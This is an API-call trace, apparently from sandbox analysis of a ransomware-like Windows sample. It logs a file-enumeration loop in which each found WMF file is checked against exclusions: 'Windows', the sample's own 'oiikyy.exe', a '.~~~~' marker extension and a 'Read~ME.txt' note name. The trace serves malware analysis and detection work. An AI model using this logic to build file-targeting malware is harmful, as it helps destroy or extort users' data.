	[0085.587] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1
	[0085.587] lstrcmpiW (lpString1="J0241077.WMF", lpString2="Windows") returned -1
	[0085.587] lstrcmpW (lpString1="J0241077.WMF", lpString2="oiikyy.exe") returned -1
	[0085.587] StrStrW (lpFirst="J0241077.WMF", lpSrch=".~~~~") returned 0x0
	[0085.587] lstrcmpW (lpString1="J0241077.WMF", lpString2="Read~ME.txt") returned -1
	[0085.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.587] GetCurrentThreadId () returned 0x618
	[0085.587] RtlWakeConditionVariable () returned 0x365f48
	[0085.587] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1
	[0085.587] lstrcmpiW (lpString1="J0241773.WMF", lpString2="Windows") returned -1
	[0085.587] lstrcmpW (lpString1="J0241773.WMF", lpString2="oiikyy.exe") returned -1
	[0085.587] StrStrW (lpFirst="J0241773.WMF", lpSrch=".~~~~") returned 0x0
	[0085.587] lstrcmpW (lpString1="J0241773.WMF", lpString2="Read~ME.txt") returned -1
	[0085.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.588] GetCurrentThreadId () returned 0x618
	[0085.588] RtlWakeConditionVariable () returned 0x365f48
	[0085.588] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1
	[0085.588] lstrcmpiW (lpString1="J0241781.WMF", lpString2="Windows") returned -1
	[0085.588] lstrcmpW (lpString1="J0241781.WMF", lpString2="oiikyy.exe") returned -1
	[0085.588] StrStrW (lpFirst="J0241781.WMF", lpSrch=".~~~~") returned 0x0
	[0085.588] lstrcmpW (lpString1="J0241781.WMF", lpString2="Read~ME.txt") returned -1
	[0085.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.588] GetCurrentThreadId () returned 0x618
	[0085.588] RtlWakeConditionVariable () returned 0x365f48
	[0085.588] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1
	[0085.588] lstrcmpiW (lpString1="J0250504.WMF", lpString2="Windows") returned -1
	[0085.588] lstrcmpW (lpString1="J0250504.WMF", lpString2="oiikyy.exe") returned -1
	[0085.588] StrStrW (lpFirst="J0250504.WMF", lpSrch=".~~~~") returned 0x0
	[0085.588] lstrcmpW (lpString1="J0250504.WMF", lpString2="Read~ME.txt") returned -1
	[0085.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.588] GetCurrentThreadId () returned 0x618
	[0085.588] RtlWakeConditionVariable () returned 0x365f48
	[0085.588] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1
	[0085.588] lstrcmpiW (lpString1="J0250997.WMF", lpString2="Windows") returned -1
	[0085.588] lstrcmpW (lpString1="J0250997.WMF", lpString2="oiikyy.exe") returned -1
	[0085.588] StrStrW (lpFirst="J0250997.WMF", lpSrch=".~~~~") returned 0x0
	[0085.588] lstrcmpW (lpString1="J0250997.WMF", lpString2="Read~ME.txt") returned -1
	[0085.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.589] GetCurrentThreadId () returned 0x618
	[0085.589] RtlWakeConditionVariable () returned 0x365f48
	[0085.589] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1
	[0085.589] lstrcmpiW (lpString1="J0251007.WMF", lpString2="Windows") returned -1
	[0085.589] lstrcmpW (lpString1="J0251007.WMF", lpString2="oiikyy.exe") returned -1
	[0085.589] StrStrW (lpFirst="J0251007.WMF", lpSrch=".~~~~") returned 0x0
	[0085.589] lstrcmpW (lpString1="J0251007.WMF", lpString2="Read~ME.txt") returned -1
	[0085.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.589] GetCurrentThreadId () returned 0x618
	[0085.589] RtlWakeConditionVariable () returned 0x365f48
	[0085.589] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1
	[0085.589] lstrcmpiW (lpString1="J0252629.WMF", lpString2="Windows") returned -1
	[0085.589] lstrcmpW (lpString1="J0252629.WMF", lpString2="oiikyy.exe") returned -1
	[0085.589] StrStrW (lpFirst="J0252629.WMF", lpSrch=".~~~~") returned 0x0
	[0085.589] lstrcmpW (lpString1="J0252629.WMF", lpString2="Read~ME.txt") returned -1
	[0085.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.589] GetCurrentThreadId () returned 0x618
	[0085.589] RtlWakeConditionVariable () returned 0x365f48
	[0085.589] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1
	[0085.590] lstrcmpiW (lpString1="J0252669.WMF", lpString2="Windows") returned -1
	[0085.590] lstrcmpW (lpString1="J0252669.WMF", lpString2="oiikyy.exe") returned -1
	[0085.590] StrStrW (lpFirst="J0252669.WMF", lpSrch=".~~~~") returned 0x0
	[0085.590] lstrcmpW (lpString1="J0252669.WMF", lpString2="Read~ME.txt") returned -1
	[0085.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.590] GetCurrentThreadId () returned 0x618
	[0085.590] RtlWakeConditionVariable () returned 0x365f48
	[0085.590] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1
	[0085.590] lstrcmpiW (lpString1="J0278702.WMF", lpString2="Windows") returned -1
	[0085.590] lstrcmpW (lpString1="J0278702.WMF", lpString2="oiikyy.exe") returned -1
	[0085.590] StrStrW (lpFirst="J0278702.WMF", lpSrch=".~~~~") returned 0x0
	[0085.590] lstrcmpW (lpString1="J0278702.WMF", lpString2="Read~ME.txt") returned -1
	[0085.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.590] GetCurrentThreadId () returned 0x618
	[0085.590] RtlWakeConditionVariable () returned 0x365f48
	[0085.590] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1
	[0085.590] lstrcmpiW (lpString1="J0279644.WMF", lpString2="Windows") returned -1
	[0085.590] lstrcmpW (lpString1="J0279644.WMF", lpString2="oiikyy.exe") returned -1
	[0085.590] StrStrW (lpFirst="J0279644.WMF", lpSrch=".~~~~") returned 0x0
	[0085.590] lstrcmpW (lpString1="J0279644.WMF", lpString2="Read~ME.txt") returned -1
	[0085.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.590] GetCurrentThreadId () returned 0x618
	[0085.590] RtlWakeConditionVariable () returned 0x365f48
	[0085.591] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1
	[0085.591] lstrcmpiW (lpString1="J0280468.WMF", lpString2="Windows") returned -1
	[0085.591] lstrcmpW (lpString1="J0280468.WMF", lpString2="oiikyy.exe") returned -1
	[0085.591] StrStrW (lpFirst="J0280468.WMF", lpSrch=".~~~~") returned 0x0
	[0085.591] lstrcmpW (lpString1="J0280468.WMF", lpString2="Read~ME.txt") returned -1
	[0085.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.591] GetCurrentThreadId () returned 0x618
	[0085.591] RtlWakeConditionVariable () returned 0x365f48
	[0085.591] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1
	[0085.591] lstrcmpiW (lpString1="J0281008.WMF", lpString2="Windows") returned -1
	[0085.591] lstrcmpW (lpString1="J0281008.WMF", lpString2="oiikyy.exe") returned -1
	[0085.591] StrStrW (lpFirst="J0281008.WMF", lpSrch=".~~~~") returned 0x0
	[0085.591] lstrcmpW (lpString1="J0281008.WMF", lpString2="Read~ME.txt") returned -1
	[0085.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.591] GetCurrentThreadId () returned 0x618
	[0085.591] RtlWakeConditionVariable () returned 0x365f48
	[0085.591] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1
	[0085.591] lstrcmpiW (lpString1="J0281243.WMF", lpString2="Windows") returned -1
	[0085.591] lstrcmpW (lpString1="J0281243.WMF", lpString2="oiikyy.exe") returned -1
	[0085.591] StrStrW (lpFirst="J0281243.WMF", lpSrch=".~~~~") returned 0x0
	[0085.591] lstrcmpW (lpString1="J0281243.WMF", lpString2="Read~ME.txt") returned -1
	[0085.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.591] GetCurrentThreadId () returned 0x618
	[0085.592] RtlWakeConditionVariable () returned 0x365f48
	[0085.592] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1
	[0085.592] lstrcmpiW (lpString1="J0281630.WMF", lpString2="Windows") returned -1
	[0085.592] lstrcmpW (lpString1="J0281630.WMF", lpString2="oiikyy.exe") returned -1
	[0085.592] StrStrW (lpFirst="J0281630.WMF", lpSrch=".~~~~") returned 0x0
	[0085.592] lstrcmpW (lpString1="J0281630.WMF", lpString2="Read~ME.txt") returned -1
	[0085.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.592] GetCurrentThreadId () returned 0x618
	[0085.592] RtlWakeConditionVariable () returned 0x365f48
	[0085.592] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1
	[0085.592] lstrcmpiW (lpString1="J0281632.WMF", lpString2="Windows") returned -1
	[0085.592] lstrcmpW (lpString1="J0281632.WMF", lpString2="oiikyy.exe") returned -1
	[0085.592] StrStrW (lpFirst="J0281632.WMF", lpSrch=".~~~~") returned 0x0
	[0085.592] lstrcmpW (lpString1="J0281632.WMF", lpString2="Read~ME.txt") returned -1
	[0085.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.592] GetCurrentThreadId () returned 0x618
	[0085.592] RtlWakeConditionVariable () returned 0x365f48
	[0085.592] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1
	[0085.592] lstrcmpiW (lpString1="J0281638.WMF", lpString2="Windows") returned -1
	[0085.592] lstrcmpW (lpString1="J0281638.WMF", lpString2="oiikyy.exe") returned -1
	[0085.592] StrStrW (lpFirst="J0281638.WMF", lpSrch=".~~~~") returned 0x0
	[0085.592] lstrcmpW (lpString1="J0281638.WMF", lpString2="Read~ME.txt") returned -1
	[0085.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.592] GetCurrentThreadId () returned 0x618
	[0085.592] RtlWakeConditionVariable () returned 0x365f48
	[0085.593] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1
	[0085.593] lstrcmpiW (lpString1="J0281640.WMF", lpString2="Windows") returned -1
	[0085.593] lstrcmpW (lpString1="J0281640.WMF", lpString2="oiikyy.exe") returned -1
	[0085.593] StrStrW (lpFirst="J0281640.WMF", lpSrch=".~~~~") returned 0x0
	[0085.593] lstrcmpW (lpString1="J0281640.WMF", lpString2="Read~ME.txt") returned -1
	[0085.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.593] GetCurrentThreadId () returned 0x618
	[0085.593] RtlWakeConditionVariable () returned 0x365f48
	[0085.593] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1
	[0085.593] lstrcmpiW (lpString1="J0282126.WMF", lpString2="Windows") returned -1
	[0085.593] lstrcmpW (lpString1="J0282126.WMF", lpString2="oiikyy.exe") returned -1
	[0085.593] StrStrW (lpFirst="J0282126.WMF", lpSrch=".~~~~") returned 0x0
	[0085.593] lstrcmpW (lpString1="J0282126.WMF", lpString2="Read~ME.txt") returned -1
	[0085.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.593] GetCurrentThreadId () returned 0x618
	[0085.593] RtlWakeConditionVariable () returned 0x365f48
	[0085.593] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1
	[0085.593] lstrcmpiW (lpString1="J0282928.WMF", lpString2="Windows") returned -1
	[0085.593] lstrcmpW (lpString1="J0282928.WMF", lpString2="oiikyy.exe") returned -1
	[0085.593] StrStrW (lpFirst="J0282928.WMF", lpSrch=".~~~~") returned 0x0
	[0085.593] lstrcmpW (lpString1="J0282928.WMF", lpString2="Read~ME.txt") returned -1
	[0085.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.593] GetCurrentThreadId () returned 0x618
	[0085.593] RtlWakeConditionVariable () returned 0x365f48
	[0085.593] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1
	[0085.594] lstrcmpiW (lpString1="J0282932.WMF", lpString2="Windows") returned -1
	[0085.594] lstrcmpW (lpString1="J0282932.WMF", lpString2="oiikyy.exe") returned -1
	[0085.594] StrStrW (lpFirst="J0282932.WMF", lpSrch=".~~~~") returned 0x0
	[0085.594] lstrcmpW (lpString1="J0282932.WMF", lpString2="Read~ME.txt") returned -1
	[0085.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.594] GetCurrentThreadId () returned 0x618
	[0085.594] RtlWakeConditionVariable () returned 0x365f48
	[0085.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1
	[0085.594] lstrcmpiW (lpString1="J0285462.WMF", lpString2="Windows") returned -1
	[0085.594] lstrcmpW (lpString1="J0285462.WMF", lpString2="oiikyy.exe") returned -1
	[0085.594] StrStrW (lpFirst="J0285462.WMF", lpSrch=".~~~~") returned 0x0
	[0085.594] lstrcmpW (lpString1="J0285462.WMF", lpString2="Read~ME.txt") returned -1
	[0085.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.594] GetCurrentThreadId () returned 0x618
	[0085.594] RtlWakeConditionVariable () returned 0x365f48
	[0085.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1
	[0085.594] lstrcmpiW (lpString1="J0285484.WMF", lpString2="Windows") returned -1
	[0085.594] lstrcmpW (lpString1="J0285484.WMF", lpString2="oiikyy.exe") returned -1
	[0085.594] StrStrW (lpFirst="J0285484.WMF", lpSrch=".~~~~") returned 0x0
	[0085.594] lstrcmpW (lpString1="J0285484.WMF", lpString2="Read~ME.txt") returned -1
	[0085.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.594] GetCurrentThreadId () returned 0x618
	[0085.594] RtlWakeConditionVariable () returned 0x365f48
	[0085.594] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1
	[0085.594] lstrcmpiW (lpString1="J0285780.WMF", lpString2="Windows") returned -1
	[0085.595] lstrcmpW (lpString1="J0285780.WMF", lpString2="oiikyy.exe") returned -1
	[0085.595] StrStrW (lpFirst="J0285780.WMF", lpSrch=".~~~~") returned 0x0
	[0085.595] lstrcmpW (lpString1="J0285780.WMF", lpString2="Read~ME.txt") returned -1
	[0085.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.595] GetCurrentThreadId () returned 0x618
	[0085.595] RtlWakeConditionVariable () returned 0x365f48
	[0085.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1
	[0085.595] lstrcmpiW (lpString1="J0285782.WMF", lpString2="Windows") returned -1
	[0085.595] lstrcmpW (lpString1="J0285782.WMF", lpString2="oiikyy.exe") returned -1
	[0085.595] StrStrW (lpFirst="J0285782.WMF", lpSrch=".~~~~") returned 0x0
	[0085.595] lstrcmpW (lpString1="J0285782.WMF", lpString2="Read~ME.txt") returned -1
	[0085.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.595] GetCurrentThreadId () returned 0x618
	[0085.595] RtlWakeConditionVariable () returned 0x365f48
	[0085.595] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1
	[0085.595] lstrcmpiW (lpString1="J0285792.WMF", lpString2="Windows") returned -1
	[0085.595] lstrcmpW (lpString1="J0285792.WMF", lpString2="oiikyy.exe") returned -1
